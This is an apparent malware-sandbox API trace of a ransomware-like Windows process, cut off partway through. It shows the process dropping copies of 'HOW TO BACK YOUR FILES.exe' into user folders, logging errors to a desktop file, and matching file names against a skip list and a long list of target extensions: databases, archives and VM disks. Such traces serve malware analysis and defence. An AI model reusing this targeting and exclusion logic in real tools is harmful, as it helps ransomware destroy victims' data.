	[0088.496] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0088.496] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0088.496] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned 44
	[0088.496] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings"
	[0088.496] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0088.497] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0088.498] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.499] GetLastError () returned 0x0
	[0088.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0088.499] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0088.499] CloseHandle (hObject=0x10c) returned 1
	[0088.499] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0088.499] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0088.499] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0a3f00, ftCreationTime.dwHighDateTime=0x1d4c5f7, ftLastAccessTime.dwLowDateTime=0xe56a3f40, ftLastAccessTime.dwHighDateTime=0x1d4cb98, ftLastWriteTime.dwLowDateTime=0xe56a3f40, ftLastWriteTime.dwHighDateTime=0x1d4cb98, nFileSizeHigh=0x0, nFileSizeLow=0x1553f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VS_dVFrYo_CGO1iaGus.m4a", cAlternateFileName="VS_DVF~1.M4A")) returned 0xffffffff
	[0088.500] GetLastError () returned 0x5
	[0088.500] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\* FindFirstFile error 5\r\n") returned 78
	[0088.500] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\* FindFirstFile error 5\r\n") returned 78
	[0088.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.500] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6640
	[0088.500] WriteFile (in: hFile=0x10c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x4e, lpOverlapped=0x0) returned 1
	[0088.501] CloseHandle (hObject=0x10c) returned 1
	[0088.501] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7950
	[0088.501] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links"
	[0088.501] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdca8 | out: hHeap=0x580000) returned 1
	[0088.501] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0088.501] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned 35
	[0088.501] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links"
	[0088.501] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0088.501] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0088.501] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.502] GetLastError () returned 0x0
	[0088.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0088.502] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0088.502] CloseHandle (hObject=0x10c) returned 1
	[0088.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0088.502] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0088.502] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x303e8990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303e8990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0088.502] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.502] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0088.502] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0088.502] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x303e8990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303e8990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.503] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.503] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0088.503] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0088.503] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0088.503] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0088.503] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.503] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0088.503] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0088.503] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0088.503] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0088.503] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0088.503] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0088.503] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0088.503] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0088.503] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0088.503] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0088.503] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0088.503] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0088.503] lstrlenW (lpString="desktop.ini") returned 11
	[0088.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*") returned 37
	[0088.503] lstrcpyW (in: lpString1=0x119e650, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0088.503] lstrlenW (lpString="desktop.ini") returned 11
	[0088.503] lstrlenW (lpString="Apollon865") returned 10
	[0088.503] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0088.503] lstrlenW (lpString=".dll") returned 4
	[0088.503] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0088.504] lstrlenW (lpString=".lnk") returned 4
	[0088.504] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0088.504] lstrlenW (lpString=".ini") returned 4
	[0088.504] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0088.504] lstrlenW (lpString=".sys") returned 4
	[0088.504] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0088.504] lstrlenW (lpString="desktop.ini") returned 11
	[0088.504] lstrlenW (lpString="bak") returned 3
	[0088.504] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0088.504] lstrlenW (lpString="ba_") returned 3
	[0088.504] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0088.504] lstrlenW (lpString="dbb") returned 3
	[0088.504] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0088.504] lstrlenW (lpString="vmdk") returned 4
	[0088.504] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0088.504] lstrlenW (lpString="rar") returned 3
	[0088.504] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0088.504] lstrlenW (lpString="zip") returned 3
	[0088.504] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0088.504] lstrlenW (lpString="tgz") returned 3
	[0088.504] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0088.504] lstrlenW (lpString="vbox") returned 4
	[0088.504] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0088.504] lstrlenW (lpString="vdi") returned 3
	[0088.504] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0088.504] lstrlenW (lpString="vhd") returned 3
	[0088.504] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0088.504] lstrlenW (lpString="vhdx") returned 4
	[0088.504] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0088.505] lstrlenW (lpString="avhd") returned 4
	[0088.505] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0088.505] lstrlenW (lpString="db") returned 2
	[0088.505] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0088.505] lstrlenW (lpString="db2") returned 3
	[0088.505] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0088.505] lstrlenW (lpString="db3") returned 3
	[0088.505] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0088.505] lstrlenW (lpString="dbf") returned 3
	[0088.505] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0088.505] lstrlenW (lpString="mdf") returned 3
	[0088.505] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0088.505] lstrlenW (lpString="mdb") returned 3
	[0088.505] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0088.505] lstrlenW (lpString="sql") returned 3
	[0088.505] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0088.505] lstrlenW (lpString="sqlite") returned 6
	[0088.505] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0088.505] lstrlenW (lpString="sqlite3") returned 7
	[0088.505] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0088.505] lstrlenW (lpString="sqlitedb") returned 8
	[0088.505] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0088.505] lstrlenW (lpString="xml") returned 3
	[0088.505] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0088.505] lstrlenW (lpString="$er") returned 3
	[0088.505] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0088.505] lstrlenW (lpString="4dd") returned 3
	[0088.505] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0088.506] lstrlenW (lpString="4dl") returned 3
	[0088.506] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0088.506] lstrlenW (lpString="^^^") returned 3
	[0088.506] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0088.506] lstrlenW (lpString="abs") returned 3
	[0088.506] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0088.506] lstrlenW (lpString="abx") returned 3
	[0088.506] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0088.506] lstrlenW (lpString="accdb") returned 5
	[0088.506] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0088.506] lstrlenW (lpString="accdc") returned 5
	[0088.506] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0088.506] lstrlenW (lpString="accde") returned 5
	[0088.506] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0088.506] lstrlenW (lpString="accdr") returned 5
	[0088.506] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0088.506] lstrlenW (lpString="accdt") returned 5
	[0088.506] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0088.506] lstrlenW (lpString="accdw") returned 5
	[0088.506] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0088.506] lstrlenW (lpString="accft") returned 5
	[0088.506] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0088.506] lstrlenW (lpString="adb") returned 3
	[0088.506] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0088.506] lstrlenW (lpString="adb") returned 3
	[0088.506] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0088.506] lstrlenW (lpString="ade") returned 3
	[0088.506] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0088.506] lstrlenW (lpString="adf") returned 3
	[0088.507] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0088.507] lstrlenW (lpString="adn") returned 3
	[0088.507] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0088.507] lstrlenW (lpString="adp") returned 3
	[0088.507] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0088.507] lstrlenW (lpString="alf") returned 3
	[0088.507] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0088.507] lstrlenW (lpString="ask") returned 3
	[0088.507] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0088.507] lstrlenW (lpString="btr") returned 3
	[0088.507] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0088.507] lstrlenW (lpString="cat") returned 3
	[0088.507] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0088.507] lstrlenW (lpString="cdb") returned 3
	[0088.507] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0088.507] lstrlenW (lpString="ckp") returned 3
	[0088.507] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0088.507] lstrlenW (lpString="cma") returned 3
	[0088.507] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0088.507] lstrlenW (lpString="cpd") returned 3
	[0088.507] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0088.507] lstrlenW (lpString="dacpac") returned 6
	[0088.507] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0088.507] lstrlenW (lpString="dad") returned 3
	[0088.507] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0088.507] lstrlenW (lpString="dadiagrams") returned 10
	[0088.507] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0088.507] lstrlenW (lpString="daschema") returned 8
	[0088.508] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0088.508] lstrlenW (lpString="db-journal") returned 10
	[0088.508] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0088.508] lstrlenW (lpString="db-shm") returned 6
	[0088.508] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0088.508] lstrlenW (lpString="db-wal") returned 6
	[0088.508] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0088.508] lstrlenW (lpString="dbc") returned 3
	[0088.508] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0088.508] lstrlenW (lpString="dbs") returned 3
	[0088.508] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0088.508] lstrlenW (lpString="dbt") returned 3
	[0088.508] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0088.508] lstrlenW (lpString="dbv") returned 3
	[0088.508] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0088.508] lstrlenW (lpString="dbx") returned 3
	[0088.508] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0088.508] lstrlenW (lpString="dcb") returned 3
	[0088.508] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0088.508] lstrlenW (lpString="dct") returned 3
	[0088.508] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0088.508] lstrlenW (lpString="dcx") returned 3
	[0088.508] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0088.508] lstrlenW (lpString="ddl") returned 3
	[0088.508] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0088.508] lstrlenW (lpString="dlis") returned 4
	[0088.508] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0088.508] lstrlenW (lpString="dp1") returned 3
	[0088.509] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0088.509] lstrlenW (lpString="dqy") returned 3
	[0088.509] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0088.509] lstrlenW (lpString="dsk") returned 3
	[0088.509] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0088.509] lstrlenW (lpString="dsn") returned 3
	[0088.509] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0088.509] lstrlenW (lpString="dtsx") returned 4
	[0088.509] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0088.509] lstrlenW (lpString="dxl") returned 3
	[0088.509] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0088.509] lstrlenW (lpString="eco") returned 3
	[0088.509] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0088.509] lstrlenW (lpString="ecx") returned 3
	[0088.509] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0088.509] lstrlenW (lpString="edb") returned 3
	[0088.509] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0088.509] lstrlenW (lpString="epim") returned 4
	[0088.509] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0088.509] lstrlenW (lpString="fcd") returned 3
	[0088.509] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0088.509] lstrlenW (lpString="fdb") returned 3
	[0088.509] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0088.509] lstrlenW (lpString="fic") returned 3
	[0088.509] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0088.509] lstrlenW (lpString="flexolibrary") returned 12
	[0088.509] lstrlenW (lpString="fm5") returned 3
	[0088.509] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0088.509] lstrlenW (lpString="fmp") returned 3
	[0088.510] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0088.510] lstrlenW (lpString="fmp12") returned 5
	[0088.510] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0088.510] lstrlenW (lpString="fmpsl") returned 5
	[0088.510] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0088.510] lstrlenW (lpString="fol") returned 3
	[0088.510] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0088.510] lstrlenW (lpString="fp3") returned 3
	[0088.510] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0088.510] lstrlenW (lpString="fp4") returned 3
	[0088.510] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0088.510] lstrlenW (lpString="fp5") returned 3
	[0088.510] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0088.510] lstrlenW (lpString="fp7") returned 3
	[0088.510] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0088.510] lstrlenW (lpString="fpt") returned 3
	[0088.510] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0088.510] lstrlenW (lpString="frm") returned 3
	[0088.510] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0088.510] lstrlenW (lpString="gdb") returned 3
	[0088.510] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0088.510] lstrlenW (lpString="gdb") returned 3
	[0088.510] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0088.510] lstrlenW (lpString="grdb") returned 4
	[0088.510] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0088.510] lstrlenW (lpString="gwi") returned 3
	[0088.510] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0088.510] lstrlenW (lpString="hdb") returned 3
	[0088.511] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0088.511] lstrlenW (lpString="his") returned 3
	[0088.511] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0088.511] lstrlenW (lpString="ib") returned 2
	[0088.511] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0088.511] lstrlenW (lpString="idb") returned 3
	[0088.511] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0088.511] lstrlenW (lpString="ihx") returned 3
	[0088.511] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0088.511] lstrlenW (lpString="itdb") returned 4
	[0088.511] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0088.511] lstrlenW (lpString="itw") returned 3
	[0088.511] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0088.511] lstrlenW (lpString="jet") returned 3
	[0088.511] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0088.511] lstrlenW (lpString="jtx") returned 3
	[0088.511] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0088.511] lstrlenW (lpString="kdb") returned 3
	[0088.511] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0088.511] lstrlenW (lpString="kexi") returned 4
	[0088.511] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0088.511] lstrlenW (lpString="kexic") returned 5
	[0088.511] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0088.511] lstrlenW (lpString="kexis") returned 5
	[0088.511] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0088.511] lstrlenW (lpString="lgc") returned 3
	[0088.511] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0088.511] lstrlenW (lpString="lwx") returned 3
	[0088.511] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0088.512] lstrlenW (lpString="maf") returned 3
	[0088.512] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0088.512] lstrlenW (lpString="maq") returned 3
	[0088.512] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0088.512] lstrlenW (lpString="mar") returned 3
	[0088.512] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0088.512] lstrlenW (lpString="marshal") returned 7
	[0088.512] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0088.512] lstrlenW (lpString="mas") returned 3
	[0088.512] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0088.512] lstrlenW (lpString="mav") returned 3
	[0088.512] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0088.512] lstrlenW (lpString="maw") returned 3
	[0088.512] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0088.512] lstrlenW (lpString="mdbhtml") returned 7
	[0088.512] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0088.512] lstrlenW (lpString="mdn") returned 3
	[0088.512] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0088.512] lstrlenW (lpString="mdt") returned 3
	[0088.512] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0088.512] lstrlenW (lpString="mfd") returned 3
	[0088.512] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0088.512] lstrlenW (lpString="mpd") returned 3
	[0088.512] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0088.512] lstrlenW (lpString="mrg") returned 3
	[0088.512] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0088.512] lstrlenW (lpString="mud") returned 3
	[0088.512] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0088.513] lstrlenW (lpString="mwb") returned 3
	[0088.513] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0088.513] lstrlenW (lpString="myd") returned 3
	[0088.513] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0088.513] lstrlenW (lpString="ndf") returned 3
	[0088.513] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0088.513] lstrlenW (lpString="nnt") returned 3
	[0088.513] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0088.513] lstrlenW (lpString="nrmlib") returned 6
	[0088.513] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0088.513] lstrlenW (lpString="ns2") returned 3
	[0088.513] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0088.513] lstrlenW (lpString="ns3") returned 3
	[0088.513] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0088.513] lstrlenW (lpString="ns4") returned 3
	[0088.513] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0088.513] lstrlenW (lpString="nsf") returned 3
	[0088.513] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0088.513] lstrlenW (lpString="nv") returned 2
	[0088.513] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0088.513] lstrlenW (lpString="nv2") returned 3
	[0088.513] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0088.513] lstrlenW (lpString="nwdb") returned 4
	[0088.514] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0088.514] lstrlenW (lpString="nyf") returned 3
